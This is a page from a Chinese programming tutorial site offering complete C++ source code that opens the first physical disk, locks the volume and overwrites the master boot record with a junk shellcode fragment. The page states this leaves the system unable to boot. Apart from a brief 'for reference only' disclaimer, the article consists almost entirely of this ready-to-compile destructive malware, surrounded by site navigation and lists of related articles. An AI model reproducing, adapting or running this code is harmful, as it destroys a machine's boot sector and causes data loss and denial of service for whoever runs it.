• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >C语言 > C++破坏MBR的代码

C++破坏MBR的代码

作者: 字体:[增加 减小] 来源:互联网 时间:2017-05-28

通过本文主要向大家介绍了c++ 做简单界面代码,空中楼阁c++代码,c++小游戏源代码,贪吃蛇c++语言代码,c++源代码等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

本文实例讲述了C++破坏MBR的代码,该源码只有破坏作用,使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。

源码来源于网上。具体代码如下:

#include <stdio.h> 
 
//shellcode随便写了点 能破坏MBR,无法进入系统 
unsigned char   scode[]= 
    "\xb8\x12\x00" 
    "\xcd\x10\xbd" 
    "\x18\x7c\xb9"; 
 
DWORD writeMBR() 
{ 
    DWORD dwBytesReturned; 
    BYTE pMBR[512]={0}; 
 
    //将破坏代码写入变量pMBR 
    memcpy(pMBR, scode, sizeof(scode)); 
    pMBR[510]=0x55; 
    pMBR[511]=0xaa; 
 
    //打开物理磁盘 
    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 
    if (hDevice == INVALID_HANDLE_VALUE) 
    { 
        printf("createfile failed..."); 
        return -1; 
    } 
 
    //锁定卷,使用FSCTL_LOCK_VOLUME时,以下有几个参数设为NULL,0; 
    /*Parameters
    hDevice
    A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 
 
    dwIoControlCode
    The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 
 
    lpInBuffer
    Not used with this operation; set to NULL.
 
    nInBufferSize
    Not used with this operation; set to zero.
 
    lpOutBuffer
    Not used with this operation; set to NULL.
 
    nOutBufferSize
    Not used with this operation; set to zero.
 
    lpBytesReturned
    A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */ 
 
 
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    //写入磁盘文件  
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL); 
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    return 0; 
} 
 
int main(int argc, char* argv[]) 
{ 
    writeMBR(); 
    return 0; 
}</div>

希望本文所述对大家的C++程序设计有所帮助。

</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • C++中图片重命名实现代码
  • 减少C++代码编译时间的简单方法(必看篇)
  • C++加密解密php代码的方法
  • C++破坏MBR的代码
  • C++实现下载的代码
  • C++你最好不要做的几点小结

相关文章

  • 2017-05-28c病毒程序原理分析(防范病毒 c语言小病毒示例)
  • 2017-05-28从汇编看c++中多态的应用
  • 2017-05-28详解C++编程中的嵌套类的声明与其中的函数使用
  • 2017-05-28C++实现将简单密码译回原文的方法
  • 2017-05-28C++ 基础编程之十进制转换为任意进制及操作符重载
  • 2017-05-28解析VC中创建DLL,导出全局变量,函数和类的深入分析
  • 2017-05-28简单说说STL的内存管理
  • 2017-05-28详解C++中的函数调用和下标以及成员访问运算符的重载
  • 2017-05-28Cocos2d-x学习笔记之世界坐标系、本地坐标系、opengl坐标系、屏幕坐标系
  • 2017-05-28C语言安全之数组长度与指针实例解析

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • 怎么实现类的成员函数作为回调函数
    • C基础 寻找随机函数的G点详解
    • 使用代码验证linux子进程与父进程的关系
    • 深入分析C语言中结构体指针的定义与引用详解
    • VS2010 C++ 配置优化方案
    • c语言文件读写示例(c语言文件操作)
    • C++中自定义sleep、条件变量sleep实例
    • 最小生成树算法之Prim算法
    • 详解C语言中printf输出的相关函数
    • C/C++实现对STORM运行信息查看及控制的方法

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有